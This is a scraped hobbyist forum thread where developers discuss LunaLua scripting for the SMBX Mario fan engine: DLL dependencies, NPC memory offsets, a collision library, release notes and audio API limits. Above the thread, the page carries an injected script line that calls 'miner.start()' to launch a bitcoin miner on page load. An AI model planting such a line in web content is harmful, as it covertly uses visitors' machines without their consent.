<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmbx communitysmw central

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

Horikawa Otane wrote:
Willhart wrote:Quick googling suggests reinstalling Microsoft Visual C++ 2005 SP1 Redistributable Package for XP computer. I do suggest waiting for a second opinion before trying this though, since there are a lot of different versions of it, and I have no idea if it is the correct one.

Edit: Try downloading the one linked on the previous post.
This worked! =D
I wonder if it might not be a bad idea to include the required MSVC redistributable DLLs directly in the SMBX folder alongside LunaDLL instead relying on the user installing a system-wide copy. It would make running things simpler.

User avatar
Wohlstand
PGE and LunaLUA developer
Posts: 158
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Wohlstand » 4 years ago

Rednaxela wrote:
Horikawa Otane wrote:
Willhart wrote:Quick googling suggests reinstalling Microsoft Visual C++ 2005 SP1 Redistributable Package for XP computer. I do suggest waiting for a second opinion before trying this though, since there are a lot of different versions of it, and I have no idea if it is the correct one.

Edit: Try downloading the one linked on the previous post.
This worked! =D
I wonder if it might not be a bad idea to include the required MSVC redistributable DLLs directly in the SMBX folder alongside LunaDLL instead relying on the user installing a system-wide copy. It would make running things simpler.
I includes than in my part - SDL dependencies package, but now they aren't works :P I need to add more DLL's into than package. I has alone copy of SDL dependencies while Kevin uploads only frequency updating LunaLua library and also keep old builts [he saves his DropBox space]. Now I'm working under Linux because has some important works on them. Later I will look at lost DLL's and will add into than archive

TiKi
Posts: 23
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby TiKi » 4 years ago

1. Is there a way to make a boss like Bowser or Wart hurt by stomping?

2. Okay so imagine this. I could make hammers replace purple bombs to make Link throw hammers as his special projectile. But is there a way to increment the "bomb" counter by stabbing something then? If I just have to increase the counter manually by some other action, what would you guys have ideas?

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 4 years ago

TiKi wrote:1. Is there a way to make a boss like Bowser or Wart hurt by stomping?

2. Okay so imagine this. I could make hammers replace purple bombs to make Link throw hammers as his special projectile. But is there a way to increment the "bomb" counter by stabbing something then? If I just have to increase the counter manually by some other action, what would you guys have ideas?
1. That is something with the NPC-Config related. Maybe try some NPC-Codes.

2. Currently there is no onKill or onDeath event. You might need to find something else.

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

Kevsoft wrote:
TiKi wrote:2. Okay so imagine this. I could make hammers replace purple bombs to make Link throw hammers as his special projectile. But is there a way to increment the "bomb" counter by stabbing something then? If I just have to increase the counter manually by some other action, what would you guys have ideas?
2. Currently there is no onKill or onDeath event. You might need to find something else.
Well, there is an Death SMBX event trigger, which one could create an event for and listen for, as long as no more than one die per tick. Alternatively, for the case of sword specifically, you could make your target NPC invincible with offset 0x156 invincibility frames, and then detect when it gets stabbed by detecting when the sword causes offset 0x26 "sword-invincibility-frames" to get set to the value it counts down from, and run npc:kill to make it die in spite of having the invincibility frames. As a third possible way, pNPC library persistent NPC references could also be used to detect when a NPC ceases to exist pretty easily. Lots of ways to do it.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

So, in helping people with some Lua for MAGLX2, I've realised that there's no reliable way to deal with boss hitboxes. At the moment, we're using a hack with SMB3 bobombs, but they have a tendency to break everything if they're not set up right. To counter this, I'm implementing some new things in the colliders.lua library. So far, I've created two new functions:

Code: Select all

bounce
bounceResponse
The first function, bounce, will detect if you're bouncing on an enemy (it also returns a second value, which you can use to detect a spinjump!). The second will cause the player to "bounce", with exactly the same behaviour as jumping on a regular NPC. You do not have to be immune to damage from the NPC for this to work.

They can be used like this:

Code: Select all

for _,v in pairs(findnpcs(210,player.section)) do
      local b, s = colliders.bounce(player,v);
      if(b and s) then
		 colliders.bounceResponse(player);
      end
   end
This would allow you to spinjump on rinkas! (It won't kill them, though. You can do that by calling the NPC:kill() function.)

The bounce function can take 2 arguments. A player or NPC and a hitbox (or player or NPC).
The bounceResponce function also takes 2: A player or NPC (which will "bounce"), and an optional "height" value, which lets you control the bounce height. By default, this will be the same as for any other NPC, and will be affected by setting jumpheightBounce.

I'm going to look into seeing if I can detect other forms of player collision (Link's sword, primarily).
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

Hoeloe wrote:I'm going to look into seeing if I can detect other forms of player collision (Link's sword, primarily).
If the NPC is one that doesn't die instantly from the sword (either has multiple hits, it's been granted invincibility via offset 0x156, or it was already immune to the sword specifically in some way), you can detect that it got hit by the sword specifically (or maybe tail too? Need to verify) with the countdown at offset 0x26.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Rednaxela wrote:
Hoeloe wrote:I'm going to look into seeing if I can detect other forms of player collision (Link's sword, primarily).
If the NPC is one that doesn't die instantly from the sword (either has multiple hits, it's been granted invincibility via offset 0x156, or it was already immune to the sword specifically in some way), you can detect that it got hit by the sword specifically (or maybe tail too? Need to verify) with the countdown at offset 0x26.
Oh, sure, but that's not what I'm trying to do. I'm trying to create a solution to completely replace default SMBX collision detection, allowing you to create your own collision bounds, or to generate them from the existing player or NPC objects. I need a way of detecting whether a specific point is touching Link's sword, not whether an NPC was hit by it.

I hope, when this library is done, that boss collision volumes can be defined as boxes or circles in Lua, and not rely on existing NPC definitions.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

Hoeloe wrote:Oh, sure, but that's not what I'm trying to do. I'm trying to create a solution to completely replace default SMBX collision detection, allowing you to create your own collision bounds, or to generate them from the existing player or NPC objects. I need a way of detecting whether a specific point is touching Link's sword, not whether an NPC was hit by it.
Ahhh, I see. Unless one wants to go with a trial-and-error estimate of sword hitbox.... some time I might be able to do research into where the sword attack hitbox size/offset is stored assuming I'm correct in my understanding that's not currently known. I know other player hitbox information is already known but don't think the sword attacks are? I have some ideas of starting points to search for that.
Last edited by Rednaxela on 18 Mar 2015, 13:35, edited 1 time in total.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Rednaxela wrote:
Hoeloe wrote:Oh, sure, but that's not what I'm trying to do. I'm trying to create a solution to completely replace default SMBX collision detection, allowing you to create your own collision bounds, or to generate them from the existing player or NPC objects. I need a way of detecting whether a specific point is touching Link's sword, not whether an NPC was hit by it.
Ahhh, I see. Some time I might be able to do research into if the sword attack hitbox size/offset is stored anywhere assuming I'm correct in my understanding that's not currently known. I have some ideas of starting points to search for that.
That would be a huge help! I believe the only remaining things are Link's sword and the Tanooki tail, as thrown objects and projectiles are already covered by NPC-NPC collision.

Oh, and also, a suggestion for future versions of LunaLua. A useful expansion to "findnpcs" and similar functions would be the option pass tables as arguments. For example, if I called:

Code: Select all

findnpcs({1,2,3},{3,4}) 
Then it would give me a list of all npcs with ID 1,2 or 3, in sections 2 or 3.

This would make some code a lot neater, and presumably could be made more efficient than calling "npcs" and filtering through Lua (certainly more efficient than creating multiple loops using findnpcs).
Image
Image
Image
Image
Image

TiKi
Posts: 23
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby TiKi » 4 years ago

Don't forget explosion collision.

Thanks for the help, but I think you guys have my bomb question wrong. So Link needs to stab bombs in order to get bombs to throw, but if I replace bombs with something else to get a new projectile, there wouldn't be any bombs to stab. What could I do about that?

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

TiKi wrote:Don't forget explosion collision.
Ah yes. I can easily add in collision with animations though.
Image
Image
Image
Image
Image

TiKi
Posts: 23
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby TiKi » 4 years ago

I have NO use for this but keyholes interact with the key and SMB2 tree stems and SMW fences interact with the ladybug enemies. Even though they're BGOs. Oh! Some BGOs make the watery splash if there's water over them and you jump in the water at that point.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

TiKi wrote:I have NO use for this but keyholes interact with the key and SMB2 tree stems and SMW fences interact with the ladybug enemies. Even though they're BGOs. Oh! Some BGOs make the watery splash if there's water over them and you jump in the water at that point.
Not actually sure what you're saying here. You want a way for the player to interact with BGOs through Lua? I mean, at the moment it's possible to fake it just by creating collision volumes using the colliders.Box command (you can do this in a for loop just after the level loads if you need to), but we'd need a way to collect data from BGOs if I were to implement this properly. I hope to augment this library with just about everything you can think of, but interaction with blocks and BGOs is currently not supported because the data structures aren't as well documented as NPCs and players (and we don't even have a way of accessing BGOs from Lua yet). At the moment, though, custom boss/enemy hitboxes are higher priority, so I'm working on those in the first instance.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

I think TiKi is simply stating some things that are already relatively common knowledge (except the ladybug fence thing maybe?) rather than asking anything.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Here's a thought. Would it be possible to get a variation on placeSprite that allows us to set the dimensions of the drawn sprite? Either by cropping the existing sprite down to the given size, or by scaling it accordingly. I want to add a debug option for colliders.lua that draws all the colliders on the screen, but since they're arbitrary sizes, this isn't currently possible without using an NPC for the purpose.

EDIT: On another note, I think I've got collision with Link's sword working! It may not perfectly match the existing setup, though, so if we can find out how to access Link's sword hitbox, that would be preferable.

Essentially, I'm using Link's sword countdown timer (which is helpfully positive when slashes can make contact, and negative on the cooldown) and creating a custom hitbox based on Link's own hitbox (repositioning and resizing it). I can, using that, approximate Link's sword attack. I'll do the same for the Tanooki tail, and see if I can't work out Yoshi's tongue, too...

EDIT EDIT:
Using the same trick and some new offsets I found, I've managed to get this working with both the tanooki tail and Yoshi tongue! All of Link's slash, the tail and the tongue will hit multiple times on objects, though, unless you counter it, because there's nothing to determine whether something was just hit by said thing, so that needs manually implementing.

Now there are 3 new functions:

Code: Select all

colliders.slash
colliders.tail
colliders.tongue
Each of these takes a player and another hitbox type (Player/NPC/Box/Circle), and will return true if hit by Link's sword, the tanooki or racoon tail, or Yoshi's tongue respectively.

Now onto the last bit: animation collision!

EDIT EDIT EDIT: And, done! Just needed a minor tweak! I'm going to upload this new version now!
Image
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 4 years ago

LunaLua v0.6.1 is out with following changes:
* Resturctured Audio Module [Tutorial]
* New Defines Module
* Added function spawnEffect (runAnimation is now deprecated)
* Added new fields towards the Animation Class
* Added some new function signature overloads for spawnNPC
* Optimzed the VBStr fields, they can now be assigned directly to a string.
Last edited by Kevsoft on 19 Mar 2015, 16:59, edited 1 time in total.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Kevsoft wrote: * Added function spawnEffect (replaces runAnimation)
Does this mean "runAnimation" no longer works? Because if that's the case it's horrific for backwards compatibility.
Image
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 4 years ago

No, sorry for the misunderstanding. I meant with 'replace' that is should be used in the future.

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Kevsoft wrote:No, sorry for the misunderstanding. I meant with 'replace' that is should be used in the future.
That's fine, just wanted to clear that up. It's always best to just mark old functions as "deprecated" rather than removing them for this reason, but that seems to be what's been done, which is good.
Image
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

I'm having some problems with pnpc. I've used spawnNPC to create a new NPC, and am storing it by wrapping it up with pnpc:

Code: Select all

local effect = pnpc.wrap(spawnNPC(165, x, y, player.section));
effect:mem(0x46,FIELD_WORD,-1);
effect.speedX = 0;
effect.speedY = 0;
Qs[i] = { e = effect, x = x, y = y };
This seems to work, but I get an "invalid access" error on the next bit (line 84 of pnpc):

Code: Select all

	for _,v in pairs(Qs) do
		v.e.x = v.x;
		v.e.y = v.y;
	end
And if I add a validity check around those, I get "attempt to index field '__ref' (a number value)".
Image
Image
Image
Image
Image

User avatar
The Destroyer of Worlds
I am become death
Posts: 1487
Joined: 7 years ago

Re: Presenting: Lunadll for Lua!

Postby The Destroyer of Worlds » 4 years ago

Wohl seems to use ticks to determine song stuff. Would it be possible to use the new isplaying stuff to detect when a song ends and switch to a new random one?
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
Hoeloe
A2XT person
Posts: 910
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 4 years ago

Horikawa Otane wrote:Wohl seems to use ticks to determine song stuff. Would it be possible to use the new isplaying stuff to detect when a song ends and switch to a new random one?
Could you not check for whether the current time from Audio.MusicClock() has decreased? That would imply either a song changing or the music looping.
Image
Image
Image
Image
Image

User avatar
The Destroyer of Worlds
I am become death
Posts: 1487
Joined: 7 years ago

Re: Presenting: Lunadll for Lua!

Postby The Destroyer of Worlds » 4 years ago

Hoeloe wrote:
Horikawa Otane wrote:Wohl seems to use ticks to determine song stuff. Would it be possible to use the new isplaying stuff to detect when a song ends and switch to a new random one?
Could you not check for whether the current time from Audio.MusicClock() has decreased? That would imply either a song changing or the music looping.
I must have missed that! When it becomes zero, the song is over.

It'd be nice if we had something to return the length of the song so we could calculate how long it has until the end (and then do a fade out).
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
Rednaxela
Maker of Shenanigans
Posts: 782
Joined: 5 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 4 years ago

Horikawa Otane wrote:
Hoeloe wrote:
Horikawa Otane wrote:Wohl seems to use ticks to determine song stuff. Would it be possible to use the new isplaying stuff to detect when a song ends and switch to a new random one?
Could you not check for whether the current time from Audio.MusicClock() has decreased? That would imply either a song changing or the music looping.
I must have missed that! When it becomes zero, the song is over.

It'd be nice if we had something to return the length of the song so we could calculate how long it has until the end (and then do a fade out).
Actually you can't use Audio.MusicClock() to detect when it loops, pretty sure it'll just keep counting up through the loop. I don't *think* the the SDL audio API gives a way to hook when it loops at all. There's Mix_HookMusicFinished but pretty sure that won't get called upon a loop. A better alternative to implementing detection of when it loops, is if the LunaLua Audio API was simply extended to allow you to run a play music call that doesn't automatically loop. If I add that, all you need to do is call the "is music stopped" function each tick and if so start the next track. As far as fading out is concerned, perhaps just edit it into the audio files?

Querying the length of a song is also not something that's particularly easy. The SDL API doesn't give a way to query music length. For some audio formats (i.e. .ogg, .wav, etc) I could implement something that loads the music file as a sound effect temporarily instead and queries it's length that way, but for other audio formats that it supports (i.e. xm, midi, etc) that method would fail. It would be a messy way to do things.

If you hardcode song lengths, I do suggest you still use Audio.MusicClock() do compare against though as that's guaranteed to stay in sync with the audio engine unlike other timekeeping methods.


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 5 guests